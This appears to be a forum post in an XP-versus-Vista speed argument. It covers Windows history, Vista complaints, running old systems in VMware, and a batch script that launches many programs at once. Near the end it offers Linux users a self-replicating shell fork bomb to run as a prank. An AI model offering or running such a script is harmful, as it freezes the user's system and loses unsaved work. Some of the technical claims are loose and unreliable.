Ok, let's talk about what we're really talking about here.
But, but, but....
I don't see you taking up the challenge, do I?
In fact, we're all waiting.
Or, you could just admit defeat and go out and buy a real puter with Vista on it.
I would have loved to be there when you watched the clip and wondered what sneaky trick I used to make it, as you are clearly still in denial and aren't even close to being ready to accept that you're the one using the lousy system.
If you want to live again, do the test, live up to the challenge, then the truth will set you free.
Ok, as Robert said earlier this is a test of how fast you can launch programs, and while that is fine, that is one very very small thing an OS can do. Every OS has its advantages and disadvantages, which is a whole other thread. I'm not going to get into Unix or Mac OS as they each have their niches and advantages/disadvantages over Windows. I'm going to stick to the differences between XP and Vista.
First some history, Microsoft started off with MS-DOS, then they tacked Windows 2.0 on top of that, then 3.0, then 3.1. It was just a cool graphical front end that sat on top of DOS. Then they came out with Windows 95, which was the same thing but supported 32 bit, then Windows 98, 98SE, and ME. That was the end of the DOS world and kernels that used co-operative multitasking. Microsoft then contracted David Cutler to write Windows NT, which is what XP and Vista really are, a truly pre-emptive multitasking OS. David Cutler is best know for building OpenVMS, which was the best OS ever written, but Microsoft told him how to write NT, so it was never the OS that was originally invisioned. So we had Windows NT 3.1, 3.5, 3.51, 4.0, Windows 2000 (NT 5.0), Windows XP (NT 5.1), Windows 2003 (NT 5.2), and now Windows Vista (NT 6.0), Windows 2008 (NT 6.1). So XP and Vista use the same basic architecture, but Vista is a major re-write and upgrade, hence version 6.0. Microsoft is also famous for building bloatware, and Windows Vista doesn't let us down.
So Rocky is correct, you can make Vista faster by removing all the bloat that is installed by default out of the box, but that's true for all OS's, remove what you don't need and it will go faster, less CPU cycles spent on unnecessary things.
There are numerous problems with Vista.
1. New driver model, so your XP driver's won't work with Vista.
2. New GUI, so you have to relearn how to use the OS.
3. Renamed common utilities to make it harder to use.
4. Removed some commonly used tools to make troubleshooting more difficult, can you say no more telnet?
5. Bloated out of the box so it runs slower.
6. New security system so you have to confirm "Yes" to every action. Most users will just answer yes because they don't understand the question.
7. Four different flavours so Micro$oft can extort more money from us.
8. Numerous software incompatibility issues, so you have to upgrade all your software to be Vista compatible.
9. It's way bigger so you need way more disk space.
10. All that bloat uses more memory so you need more of that too.
11. It's supposed to be more secure, but since they didn't get it right, big surprise there, there are already a ton of security patches for Vista, oh and when Microsoft released Service Pack 1, they made Vista even slower.
Now most of the above can be overcome one way or another, all it takes is time and money, and everybody has lots of both, right?
To do a really fair test you would need to strip XP and Vista down to the bare minimum and run some standard benchmarks to see which is faster, and to keep it as close to apples and apples as possible, you'd need identical hardware. I might actually try this with VMware later if I have time.
So to answer Rocky's statement that Vista is faster than XP, well maybe, under certain circumstances, and doing certain things, it might be. But you need to spend time and money to get it to do what you need efficiently and to be productive with it. XP has been around for a while, has most of the bugs worked out of it, and is familiar to most PC users. I'm gonna stick with XP, and indefinetely (more on how in a minute). For those that are sticking with XP, the pain will be minimal for the next few years, Microsoft is supporting XP until the end of 2011 (don't quote me on that date). If you are going with Vista, there will be some pain in the short term. Lots of people are moving to MAC's from XP because they feel the pain is about equal, and from what I've heard they're right. Everyone that I know that has switched from XP to the MAC loves the MAC once they've learned it.
So how can you keep your XP? Well there is a product out there called VMware. It basically allows you to run virtual computers. On my laptop, I have ONE and only ONE program installed, VMware. I mean no virus checkers, or any other software at all, ONE program and only ONE program.
I lauch VMware, then I can boot whatever operating system I want, and fire up as many virtual computers as I want at the same time. I currently have the following OS's bootable at any time on VMware: Windows XP, WIndows 98, MS-DOS, Windows Server 2003, Linux, and even Mac OS. VMware removes hardware dependency from the equation, so you could easily buy a new laptop with Vista, install VMware, then boot your XP-VM (XP Virtual Machine). The XP-VM is stored as a few files, so it's easily backed up, and if your laptop dies, copy the files to another computer, install VMware, boot XP-VM and you're up and running immediately, no recovery, no installing software, etc, you're just good to go. So with old OS's running as VM's, there is no reason to upgrade even after you're forced to a new OS. You can even run VMware on Linux.
I'm going to put Rocky's challenge to the test. VMware allows a movie caputre, so I did one, more on that in a bit.
My computer is an Intel Core2 Duo 2.5GHz, 2GB RAM, 7200RPM Sata Drive. From there I launch VMware. For the clip, I had 3 VM's running, a Windows XP with 384MB RAM allocated, Windows 98 with 128MB ram allocated, and the Windows XP VM the clip ran on with 1GB RAM allocated.
Rocky didn't do his test efficiently, he launched all his programs by hand. Way too slow, I wrote a script to lauch every program in that VM simultaneously:
start C:\WINDOWS\system32\taskmgr.exe
start C:\WINDOWS\system32\calc.exe
start C:\WINDOWS\system32\cmd.exe
start C:\WINDOWS\system32\notepad.exe
start C:\WINDOWS\system32\mspaint.exe
start C:\WINDOWS\explorer.exe
start "" "C:\Program Files\Windows NT\Accessories\wordpad.exe"
start C:\WINDOWS\system32\mstsc.exe
start C:\WINDOWS\system32\compmgmt.msc /s
start C:\WINDOWS\system32\freecell.exe
start C:\WINDOWS\system32\mshearts.exe
start "" "C:\Program Files\MSN Gaming Zone\Windows\bckgzm.exe"
start "" "C:\Program Files\MSN Gaming Zone\Windows\chkrzm.exe"
start "" "C:\Program Files\MSN Gaming Zone\Windows\hrtzzm.exe"
start "" "C:\Program Files\MSN Gaming Zone\Windows\Rvsezm.exe"
start "" "C:\Program Files\MSN Gaming Zone\Windows\shvlzm.exe"
start C:\WINDOWS\system32\winmine.exe
start "" "C:\Program Files\Windows NT\Pinball\PINBALL.EXE"
start C:\WINDOWS\system32\sol.exe
start C:\WINDOWS\system32\spider.exe
start "" "C:\Program Files\Internet Explorer\iexplore.exe"
start "" "C:\Program Files\Windows Media Player\wmplayer.exe" /prefetch:1
start "" "C:\Program Files\Movie Maker\moviemk.exe"
start "" "C:\Program Files\Microsoft Office\OFFICE11\EXCEL.EXE"
start "" "C:\Program Files\Microsoft Office\OFFICE11\FINDER.EXE"
start "" "C:\Program Files\Microsoft Office\OFFICE11\FRONTPG.EXE"
start "" "C:\Program Files\Microsoft Office\OFFICE11\GRAPH.EXE"
start "" "C:\Program Files\Microsoft Office\OFFICE11\INFOPATH.EXE"
start "" "C:\Program Files\Microsoft Office\OFFICE11\MSACCESS.EXE"
start "" "C:\Program Files\Microsoft Office\OFFICE11\MSPUB.EXE"
start "" "C:\Program Files\Microsoft Office\OFFICE11\MSTORE.EXE"
start "" "C:\Program Files\Microsoft Office\OFFICE11\OIS.EXE"
start "" "C:\Program Files\Microsoft Office\OFFICE11\OUTLOOK.EXE"
start "" "C:\Program Files\Microsoft Office\OFFICE11\POWERPNT.EXE"
start "" "C:\Program Files\Microsoft Office\OFFICE11\PPTVIEW.EXE"
start "" "C:\Program Files\Microsoft Office\OFFICE11\PROFLWIZ.EXE"
start "" "C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE"
start "" "C:\Program Files\Windows Media Connect 2\WMCCFG.exe"
start "" "C:\Program Files\Adobe\Acrobat 7.0\Reader\AcroRd32.exe"
start "" "C:\Program Files\QuickTax\QuickTax 2005\QT2005\qt2005.exe"
start "" "C:\Program Files\QuickTax 2006\QT2006\qt2006.exe"
start "" "C:\Program Files\QuickTax 2007\qt2007.exe"
start "" "C:\Program Files\SDM\sdm.exe"
start "" "C:\Program Files\Digital Splats\SplatsHtml.exe"
start "" "C:\Program Files\Kyocera Wireless Corporation\Kyocera Phone Desktop\KPD.exe"
start C:\PTDELUXE\PTWIN.EXE
start "" "C:\Program Files\Paint Shop Pro\Psp.exe"
start "" "C:\Program Files\File Splitter Deluxe\psplit.exe"
start "" "C:\Program Files\WinZip\WINZIP32.EXE"
start "" "C:\Program Files\The Rosetta Stone\The Rosetta Stone\TheRosettaStone.exe"
The computer launches everything, and after it's all done, the computer is fine. Keep in mind this is a Virtual Machine, running on the same computer as 2 other VM's at the same time. I used the Capture Movie feature of VMware to save the output of the VM as a movie. Warning this movie is 40MB in size.
http://www.colonian.com/PM.avi
This is my response to Rocky's test, XP running VMware, running 3VM's at the same time, launching everything at once with a script. Talk about comparing apples and oranges, but there you go, oh and a complete waste of time, but it was fun none the less.
For those of you that are interested in VMware check out
VMware: Virtualization via Hypervisor, Virtual Machine & Server Consolidation - VMware
And for those Linux users that think they are imune to attack, run the following shell script on Linux, or any flavour of Unix for that matter. Make sure you save all your work first because the next thing you'll be reaching for is the power button. Note: Non-destructive.
#!/bin/sh
$0 &
$0 &
That's it, have fun.
I can't afford a Mac right now so I'll take you're advise once again and download alvira... I think I will wait and see if AVG will pull the plug on the 25th? I was told that this was just a ploy to get people to pay the $59.95 for the AVG 8. and they have no intention until year's end in stopping the updates on the free version.